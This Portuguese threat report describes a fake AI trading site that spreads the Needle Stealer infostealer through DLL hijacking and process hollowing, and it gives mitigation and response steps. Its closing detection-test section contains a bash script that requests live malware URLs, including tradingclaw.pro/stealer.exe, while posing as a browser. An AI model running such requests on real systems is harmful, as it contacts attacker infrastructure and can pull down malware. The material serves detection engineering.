Site de Trading Falso Instala Malware que Sequestra Navegadores

Resumo

Um site fraudulento que anuncia um assistente de negociação com IA está sendo usado para espalhar o infostealer Needle Stealer. A cadeia de infecção depende de DLL hijacking e process hollowing para injetar o malware em RegAsm.exe, ajudando-o a se misturar com a atividade legítima do sistema. Uma vez ativo, o stealer coleta dados de navegador, mira em informações de carteiras de criptomoedas e pode implantar extensões maliciosas no navegador para aprofundar o comprometimento. A comunicação com a infraestrutura controlada pelo invasor é feita por meio de múltiplos endpoints de API HTTP.

Investigação

Pesquisadores rastrearam o fluxo de infecção de volta para um arquivo ZIP baixado de tradingclaw.pro, que continha um carregador de DLL chamado iviewers.dll. Esse carregador descartou uma DLL de segunda fase que esvaziou RegAsm.exe e lançou o Needle Stealer baseado em Golang. Análises adicionais mostraram que o stealer extraía arquivos ZIP ocultos contendo extensões de navegador maliciosas junto com um arquivo de configuração que definia seus servidores de comando e controle.

Mitigação

Os usuários devem evitar baixar software de sites não confiáveis e sempre verificar assinaturas de editor antes de executar qualquer instalador. As equipes de segurança devem auditar rotineiramente as extensões de navegador instaladas e remover aquelas que parecem não autorizadas ou suspeitas. O monitoramento de rede deve ser configurado para detectar tráfego para os domínios e endereços IP maliciosos conhecidos associados à campanha. Ferramentas de proteção de endpoint também devem ser ajustadas para identificar comportamento de DLL hijacking e técnicas de process hollowing.

Resposta

Os defensores devem revisar a telemetria do endpoint para execução de iviewers.dll e sinais de injeção em RegAsm.exe. Os domínios e endereços IP de comando e controle identificados devem ser bloqueados no nível do firewall ou proxy. As equipes de segurança devem colocar em quarentena arquivos que correspondam aos hashes ou nomes de arquivos relatados, remover extensões suspeitas de %LOCALAPPDATA%PackagesExtensions, e resetar credenciais ligadas a contas afetadas. Quaisquer carteiras de criptomoedas potencialmente impactadas também devem ser revisadas para atividades não autorizadas.

Execução de Simulação

Pré-requisito: O Check de Telemetria & Baseline Pré‑voo deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar exatamente a telemetria esperada pela lógica de detecção.

• Narrativa de Ataque & Comandos:
  Um adversário que obteve o malware Needle Stealer o hospeda no domínio malicioso tradingclaw.pro. O atacante persuade uma vítima a abrir um link malicioso (por exemplo, via email de phishing). O navegador da vítima faz uma solicitação HTTP GET para http://tradingclaw.pro/stealer.exe, que os registros do proxy. Como o URL contém a string exata tradingclaw.pro, a condição da regra Sigma (url|contains) avalia-se como verdadeiro, gerando um alerta.

  Para replicar isso em um ambiente de teste, emitimos um curl direto para o domínio malicioso. A solicitação é elaborada para se parecer com tráfego de usuário típico (User‑Agent padrão, sem cabeçalhos especiais) para que apenas a correspondência de domínio acione o alerta.

• Script de Teste de Regressão:

  #!/usr/bin/env bash
  # ------------------------------------------------------------
  # Simular acesso malicioso para acionar a regra de detecção "Malicious TradingClaw"
  # ------------------------------------------------------------
  
  set -euo pipefail
  
  # Defina os URLs maliciosos (strings exatas usadas pela regra)
  URLS_MALICIOSOS=(
      "http://tradingclaw.pro/stealer.exe"
      "https://studypages.com/download/needle.exe"
  )
  
  for url in "${URLS_MALICIOSOS[@]}"; do
      echo "[*] Solicitando ${url}"
      # Use um user‑agent realista para imitar um navegador
      curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" 
           -s -o /dev/null "${url}"
  done
  
  echo "[+] Simulação concluída."

• Comandos de Limpeza:

  # Nenhum artefato persistente é criado pelas solicitações curl.
  # Limpe o cache DNS para evitar reutilização acidental do domínio em testes futuros.
  if command -v ipconfig >/dev/null 2>&1; then
      ipconfig /flushdns
  elif command -v systemd-resolve >/dev/null 2>&1; then
      systemd-resolve --flush-caches
  fi
  echo "[+] Limpeza concluída."

Fim do Relatório